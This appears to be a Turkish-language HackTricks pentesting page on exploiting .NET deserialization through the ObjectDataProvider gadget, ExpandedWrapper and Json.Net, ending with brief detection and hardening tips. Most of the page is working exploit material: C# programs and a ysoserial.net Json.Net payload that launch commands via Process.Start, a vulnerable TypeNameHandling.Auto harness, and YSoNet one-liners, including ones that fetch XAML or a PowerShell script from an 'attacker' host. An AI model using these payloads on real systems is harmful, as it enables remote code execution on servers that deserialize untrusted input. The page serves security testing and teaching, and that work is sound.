13 KiB
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Bu yazı, ObjectDataProvider gadget'ının nasıl istismar edildiğini anlamaya ve Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini açıklamaya adanmıştır.
ObjectDataProvider Gadget
Belgelerden: ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur.
Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, rastgele bir nesneyi sarmaya izin verir, MethodParameters kullanarak rastgele parametreler ayarlamaya ve ardından MethodName kullanarak rastgele bir işlevi çağırmaya olanak tanır.
Bu nedenle, rastgele nesne, serileştirilirken parametrelerle bir işlevi çalıştıracaktır.
Bu nasıl mümkün
System.Windows.Data ad alanı, PresentationFramework.dll içinde C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
konumunda tanımlanmış ve uygulanmıştır.
dnSpy kullanarak, ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki resimde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name kodunu görüyoruz.
Gördüğünüz gibi MethodName
ayarlandığında base.Refresh()
çağrılıyor, ne yaptığını görelim:
Tamam, şimdi this.BeginQuery()
ne yapıyor ona bakalım. BeginQuery
, ObjectDataProvider
tarafından geçersiz kılınmıştır ve işte yaptığı:
Kodun sonunda this.QueryWorke(null)
çağrıldığını not edin. Bunun neyi çalıştırdığını görelim:
Bu, QueryWorker
fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod this.InvokeMethodOnInstance(out ex);
çağrısını yapıyor, bu, metodun ayarlandığı yer.
Sadece MethodName ayarlayarak çalıştırılacağını kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Not edin ki System.Windows.Data
yüklemek için C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll referansını eklemeniz gerekiyor.
ExpandedWrapper
Önceki istismarı kullanarak, nesnenin bir ObjectDataProvider örneği olarak deseralize edileceği durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne GetType
ile deseralize edildi). Bu durumda, ObjectDataProvider örneğinde sarılı olan nesne türü hakkında hiçbir bilgiye sahip olmayacağız (Process
örneğin). DotNetNuke zafiyeti hakkında daha fazla bilgi burada bulabilirsiniz.
Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini belirlemeye olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (ObjectDataProvider) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (ObjectDataProvider.MethodName ve ObjectDataProvider.MethodParameters).
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü _ObjectDataProvider_ nesnesini bir **ExpandedWrapper örneği içinde sarmalayabileceğiz ve deseralize edildiğinde bu sınıf, MethodName'de belirtilen fonksiyonu çalıştıracak OjectDataProvider nesnesini oluşturacaktır.
Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Resmi web sayfasında bu kütüphanenin Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği belirtilmektedir. Yani, eğer ObjectDataProvider gadget'ını serileştirebilirsek, sadece bir nesneyi serileştirerek RCE'ye neden olabiliriz.
Json.Net örneği
Öncelikle, bu kütüphaneyi kullanarak bir nesneyi serileştirmek/serileştirmek için bir örneğe bakalım:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net'i Kötüye Kullanma
ysoserial.net kullanarak bir istismar oluşturdum:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Bu kodda sömürüyü test edebilirsiniz, sadece çalıştırın ve bir hesap makinesinin çalıştığını göreceksiniz:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)
Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulama güvensiz .NET deserialization gerçekleştirdiğinde kötüye kullanılabilecek birçok gadget zincirinden sadece biridir. Modern kırmızı takım araçları, YSoNet (ve daha eski ysoserial.net) gibi, onlarca gadget ve serileştirme formatı için kullanıma hazır kötü niyetli nesne grafikleri oluşturmayı otomatikleştirir.
Aşağıda, YSoNet ile birlikte gönderilen en kullanışlı zincirlerin yoğunlaştırılmış bir referansı ve bunların nasıl çalıştığına dair hızlı bir açıklama ile payload'ları oluşturmak için örnek komutlar bulunmaktadır.
Gadget Zinciri | Ana Fikir / Primitive | Yaygın Serileştiriciler | YSoNet tek satır |
---|---|---|---|
TypeConfuseDelegate | DelegateSerializationHolder kaydını bozar, böylece, malzeme haline geldiğinde, delegate herhangi bir saldırgan tarafından sağlanan metoda (örn. Process.Start ) işaret eder |
BinaryFormatter , SoapFormatter , NetDataContractSerializer |
ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | System.Workflow.ComponentModel.ActivitySurrogateSelector 'ı kötüye kullanarak bypass .NET ≥4.8 type-filtering yapar ve sağlanan bir sınıfın constructor'ını doğrudan çağırır veya bir C# dosyasını anında derler |
BinaryFormatter , NetDataContractSerializer , LosFormatter |
ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | System.Data.DataSet 'in eski XML temsilini kullanarak <ColumnMapping> / <DataType> alanlarını doldurarak keyfi türleri başlatır (isteğe bağlı olarak --spoofedAssembly ile assembly'i sahteleyerek) |
LosFormatter , BinaryFormatter , XmlSerializer |
ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | WPF destekli çalışma zamanlarında (> .NET 5) özellik getter'larını zincirler ve System.CodeDom.Compiler.CompilerResults 'a ulaşır, ardından -c ile sağlanan bir DLL'yi derler veya yükler |
Json.NET türsüz, MessagePack türsüz |
ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (gözden geçirme) | WPF System.Windows.Data.ObjectDataProvider 'ı kullanarak kontrol edilen argümanlarla keyfi bir statik metodu çağırır. YSoNet, kötü niyetli XAML'yi uzaktan barındırmak için kullanışlı bir --xamlurl varyantı ekler |
BinaryFormatter , Json.NET , XAML , vb. |
ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | System.Management.Automation.PSObject içine ScriptBlock gömülür ve bu, PowerShell nesneyi deseralize ettiğinde çalışır |
PowerShell uzaktan erişim, BinaryFormatter |
ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
Tip
Tüm payload'lar varsayılan olarak stdout'a yazılır, bu da bunları diğer araçlara (örn. ViewState oluşturucuları, base64 kodlayıcılar, HTTP istemcileri) yönlendirmeyi kolaylaştırır.
YSoNet Kurulumu / İnşası
Eğer Actions ➜ Artifacts / Releases altında önceden derlenmiş ikili dosyalar mevcut değilse, aşağıdaki PowerShell tek satırı bir inşa ortamı kuracak, depoyu klonlayacak ve her şeyi Release modunda derleyecektir:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Derlenmiş ysonet.exe
daha sonra ysonet/bin/Release/
altında bulunabilir.
Tespit ve Güçlendirme
- Beklenmeyen
w3wp.exe
,PowerShell.exe
veya kullanıcı tarafından sağlanan verileri (örneğinMessagePack
,Json.NET
) deseralize eden herhangi bir süreç için çocuk süreçleri tespit edin. - Eski
BinaryFormatter
/NetDataContractSerializer
kaldırılamadığında, tip filtrelemeyi etkinleştirin ve zorlayın (TypeFilterLevel
= Full, özelSurrogateSelector
,SerializationBinder
, vb.). - Mümkünse
System.Text.Json
veyaDataContractJsonSerializer
ile beyaz listeye dayalı dönüştürücülere geçin. - Asla ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF derlemelerinin (
PresentationFramework
,System.Workflow.*
) yüklenmesini engelleyin.
Referanslar
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – orijinal PoC aracı
- Microsoft – CVE-2017-8565
{{#include ../../banners/hacktricks-training.md}}